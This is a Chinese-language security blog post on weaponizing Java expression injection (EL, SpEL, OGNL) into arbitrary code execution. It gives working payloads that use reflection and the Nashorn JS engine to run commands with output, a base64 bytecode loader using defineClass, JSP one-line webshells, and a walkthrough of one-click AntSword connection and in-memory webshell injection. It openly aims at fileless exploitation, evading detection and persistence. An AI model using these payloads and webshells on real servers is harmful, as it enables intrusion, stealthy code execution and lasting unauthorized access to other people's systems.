yzddMr6's Blog

脚本小子


  • 首页

  • 分类

  • 标签

  • 归档

  • 知识星球

  • 关于

  • 搜索

Java表达式注入的武器化利用

发表于 2022-06-11 阅读次数:
Java表达式注入的武器化利用

首发于公众号:网络安全回收站

前言

Java安全从业者能吃上饭的三个主要原因:反序列化,JNDI注入,表达式注入(开个玩笑)。本文想就这三种类型的漏洞的利用谈谈自己的看法,同时提出表达式注入下的武器化利用方法。

关于武器化

在本人看来,漏洞武器化利用方式主要有以下几个特点

  1. 便捷性:一键式、傻瓜式操作。
  2. 通用性:兼容各种环境。
  3. 支持任意代码执行,而非单纯命令执行。
  4. 扩展性:联动其他工具。

目前大多数工具只是做到了任意命令执行,但是在实战中我们更希望得到一个任意代码执行的口子。原因是:

  1. 任意命令执行在进程命令行层面很容易留下痕迹被发现,而任意代码执行在语言函数层面,有天然的隐蔽的优势。
  2. 任意代码执行可以实现注入内存马等进阶操作。

反序列化漏洞在Java安全中的重要性无需多提,其中较为著名的漏洞有weblogic系列漏洞,shiro反序列化漏洞等。其中较为有名的利用工具有ysoserial,几乎是每一个入门Java安全的同学必须学习的一个项目。但实际上ysoserial只是做到了最基础的“命令执行”,并不支持任意代码执行。wh1t3p1g师傅的ysomap则进行了大量的改进。不仅增加了非常多的利用模块,而且增加了很多利用链下任意代码执行的利用方式。

JNDI注入。代表作Log4Shell,核弹漏洞。基础利用工具代表:marshalsec。武器化利用工具代表为feihong师傅的JNDIExploit。可以一键搭建ldap跟http环境,并且可以根据lookup对象的名称来执行动态的参数,还添加了一键注入内存马等功能。同样是做到了从任意命令执行到任意代码执行。

表达式注入漏洞。代表成员有Struts2的ognl表达式注入,SpringBoot spel表达式注入,Tomcat的EL表达式注入等。但是目前大多payload还是弹一个计算器,并没有见到成熟的武器化利用方式。

那么怎么才能实现表达式注入的武器化利用呢?

中间层语言的选取

Java中主流的表达式注入分为三种:EL,Spel,Ognl。不同表达式有不同的语法特点,有些必须要用反射去实例化类,有些可以直接new;有些表达式只能执行一句,有些可以执行多句。所以想要做到武器化利用就要选取一种通用的中间层语言。

自己曾经研究过一种基于JS引擎的Java一句话木马。其中JS引擎就非常符合我们的要求:

  1. 一行代码即可执行,无需执行多句
  2. JDK>=6都可以使用
  3. Java函数层面,可以做到任意代码执行

自己在博客文章里面对js引擎的各种语法进行了详细的解释:https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/

手工利用

环境搭建

Tomcat 8.5+jdk8

这里模拟了一个el表达式注入的场景

1
2
3
4
5
<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
String res = (String) PageContextImpl.proprietaryEvaluate(request.getParameter("code"), String.class, pageContext, null);
out.print(res);
%>

无回显执行命令

可能大家最常见到的就是执行命令的payload,由于el表达式不能执行new等操作,所以需要用反射来构造。

样例如下:

1
code=${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe")}

或者是借助js引擎

1
code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}

不过两者都是无回显的,不优雅。

有回显执行命令

最早看到的有回显相关的研究是在这篇文章:https://forum.butian.net/share/886,写的非常好,最后的payload如下:

1
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}

由于EL表达式不支持直接赋值以及new对象,所以需要用到pageContext.getAttribute跟pageContext.setAttribute来间接实现变量的传递,导致payload写起来非常的麻烦,也非常的臃肿。

所以我们换一种思路,不再使用EL自身的语法,而是在js引擎中实现我们的逻辑。

经过简化后,我们的payload如下:

1
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var s = [3];s[0] = \"cmd\";s[1] = \"/c\";s[2] = \"whoami\";var p = java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");var result = sc.hasNext() ? sc.next() : \"\";sc.close();result;")}

img

任意代码执行

在这里我们同样可以借助js引擎调用defineClass来实现任意代码执行的操作:

1
code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(pageContext.request.getParameter("ant"))}

ant参数内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = new Base64().getDecoder().decode(str);
}
return bt;
}
function define(Classdata, cmd) {
var classBytes = Base64DecodeToByte(Classdata);
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
define(
"yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
"calc"
);

img

其中字节码部分可以换为注入内存马的payload等等。

蚁剑改造之一键连接

改造内容

之前的jspjs类型必须要在上下文中绑定request跟response对象。但是在Spel跟ognl大多数情况下无法直接获取到这两个对象。于是便对jspjs类型进行了一些改动:

1、取消对外部request跟response的依赖。

2、以编码器的形式内置了利用的payload。

具体commit可以看:

https://github.com/AntSwordProject/antSword/commit/797562b417271480628aa469789582a932318e47

原来的Shell必须要绑定request跟response对象

1
2
3
4
5
6
7
8
<%
try {
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}));
} catch (Exception e) { }
%>

经过改造后连绑定对象这一步也可以省去了,demo如下:

1
2
3
<%
out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));;
%>

所以,现在不管是表达式还是什么场景,只要能够调用javax.script.ScriptEngineManager().getEngineByName(“js”).eval(xxx)这一句,理论上都可以用蚁剑进行无文件直接连接。

当然,现在的Shell跟之前的Shell并不冲突,两种都可以使用。有条件的话还是尽量使用第一种,原因后面会讲到。

EL表达式

起一个Tomcat,el.jsp内容如下

1
2
3
<%
out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));
%>

打开蚁剑,选择el编码器,一键连接。

img

Spel表达式

springboot设置一个测试环境,以spel为例

1
2
3
4
5
6
@RequestMapping("/spel")
public String eval(String spel){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
return expression.getValue().toString();
}

蚁剑选择spelbase64编码器可一键连接

img

img

至于为什么要加一层base64是因为发现如果直接发送的话,两个引号会被nashorn引擎吃掉成一个,然后报错。

img

img

Ognl表达式

以ognl为例

1
2
3
4
5
6
7
@RequestMapping("/ognl")
public String eval(String str) throws Exception {
OgnlContext context = new OgnlContext();
Object ognl = Ognl.parseExpression(str);
Object value = Ognl.getValue(ognl, context, context.getRoot());
return value.toString();
}

选择ognl编码器,一键连接

img

As-Exploits一键连接

As-Exploits是蚁剑的后渗透模块,支持一键反弹Shell,一键注入内存马,一键加载ShellCode等操作。

在1.5版本中,增加了对jspjs类型的支持。

因为As-Exploits中jspjs的payload实际上是对jsp的payload又包了一层,而jsp的payload是硬编码了必须要依赖request跟response,所以如果想在表达式环境下使用,要先绑定request跟response对象,也就是第一种Shell的写法。

另外由于jdk6/7下的Rhino引擎过于傻逼,搞了一晚上解决了各种坑之后发现还是无法直接获取到Object.class(https://github.com/mozilla/rhino/issues/757),所以在Rhino引擎下如何在js里调用defineClass还没有实现,如果有搞出来的师傅可以教教我。

基本信息模块

img

内存马管理模块

img

测试一下内存马注入功能,打进去一个antSword的filter。执行,提示成功

img

去内存马管理模块里看一下,发现已经注入成功

img

通过蚁剑就可以连接我们注入的内存马了。

img

最后

借助蚁剑,我们基本做到了对表达式注入的武器化利用。这样主要有3个作用:

  1. 漏洞的无文件利用。蚁剑的编码器其实有点类似于profile,可以自定义各种请求参数。根据不同场景自己改一改payload,即可达到对指定漏洞的无文件利用效果。本文不涉及具体漏洞的利用,感兴趣的同学可以自己研究。

  2. 表达式下的任意代码执行。原来的表达式注入大多是直接执行命令,属于命令执行层面很容易检测,懂得都懂。

  3. 构造webshell维权。原来jsp webshell主要局限在defineClass,现在可以通过各种表达式来构造webshell了,格局打开。

参考

https://paper.seebug.org/794/

https://xz.aliyun.com/t/9245

http://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/

本文标题:Java表达式注入的武器化利用

文章作者:yzddMr6

发布时间:2022年06月11日 - 20:02

最后更新:2022年06月11日 - 20:05

原始链接:https://yzddmr6.com/posts/java-expression-exploit/

许可协议: 转载请保留原文链接及作者。

yzddMr6 wechat
欢迎加入我的知识星球
你的支持将是我更新的动力!
yzddMr6 微信支付

微信支付

ASP.NET下的内存马(四) VirtualPath内存马
精简JRE,打造无依赖的Java-ShellCode-Loader
  • 文章目录
  • 站点概览
yzddMr6

yzddMr6

慢就是快,少就是多。
59 日志
3 分类
12 标签
RSS
GitHub E-Mail 简书
友情链接
  • NaiveKun
  • Fi9coder
  • Sardinefish
  • Panda
  • 九世
  • LFY
  • EarthC
  • Ablustrund
  1. 1. 前言
  2. 2. 关于武器化
  3. 3. 中间层语言的选取
  4. 4. 手工利用
    1. 4.1. 环境搭建
    2. 4.2. 无回显执行命令
    3. 4.3. 有回显执行命令
    4. 4.4. 任意代码执行
  5. 5. 蚁剑改造之一键连接
    1. 5.1. 改造内容
    2. 5.2. EL表达式
    3. 5.3. Spel表达式
    4. 5.4. Ognl表达式
  6. 6. As-Exploits一键连接
  7. 7. 最后
  8. 8. 参考
© 2022 yzddMr6
|